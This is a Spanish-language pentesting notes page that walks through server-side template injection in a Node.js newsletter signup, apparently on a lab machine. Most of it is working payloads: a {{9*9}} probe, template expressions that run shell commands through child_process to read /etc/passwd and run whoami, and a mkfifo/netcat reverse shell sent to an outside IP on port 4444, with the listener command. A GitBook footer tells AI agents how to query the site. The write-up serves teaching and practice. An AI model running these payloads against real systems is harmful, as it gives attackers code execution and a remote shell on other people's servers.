> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-node.js-pentesting-web.md).

# SSTI Node.js

## SSTI (Node.js)

Observamos una funcionalidad que permite a los usuarios introducir un correo electrónico para suscribirse a un boletín. La respuesta del servidor muestra directamente nuestra entrada, lo que sugiere una posible **Inyección de plantillas del lado del servidor (SSTI)**.

<figure><img src="/files/cb960eca028ca7c886ba5250da35167780028078" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/91b6d91c1fa56b29dfa0fd8d8d8fee89dc569ec8" alt=""><figcaption></figcaption></figure>

#### Prueba de vulnerabilidad

Interceptamos la solicitud con **Burp Suite** y probamos una SSTI clásica:

<figure><img src="/files/69bb496bfa0c688c94621a4bf73e8b72ecb27cfc" alt=""><figcaption></figcaption></figure>

```json
{{9*9}}

```

Si la respuesta muestra `81`, entonces la aplicación es vulnerable, ese es el caso aquí.

<figure><img src="/files/e59819666ba6847002dc4c601609756b42a5555c" alt=""><figcaption></figcaption></figure>

### Lectura `/etc/passwd`

Usamos el payload siguiente para mostrar el contenido de `/etc/passwd`:

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')/"))}}

```

{% endcode %}

<figure><img src="/files/cf62286c792e8f70d1ad3b052cfe39ab0b7d251e" alt=""><figcaption></figcaption></figure>

#### Obtención del usuario actual

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('whoami')/")()}}

```

{% endcode %}

Obtenemos `david`.

<figure><img src="/files/0f4f547ffd6100def6062cd72ecbceaf17ba3062" alt=""><figcaption></figcaption></figure>

### Shell inversa mediante SSTI (Node.js)

Inicio del listener en el puerto **4444**:

```bash
nc -nlvp 4444

```

Envío del payload de shell inversa:

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 4444 >/tmp/f')/")()}}

```

{% endcode %}

Acceso a la máquina objetivo

<figure><img src="/files/784c8f8e416f5368016fafdd68c134d04a6d77e7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-node.js-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
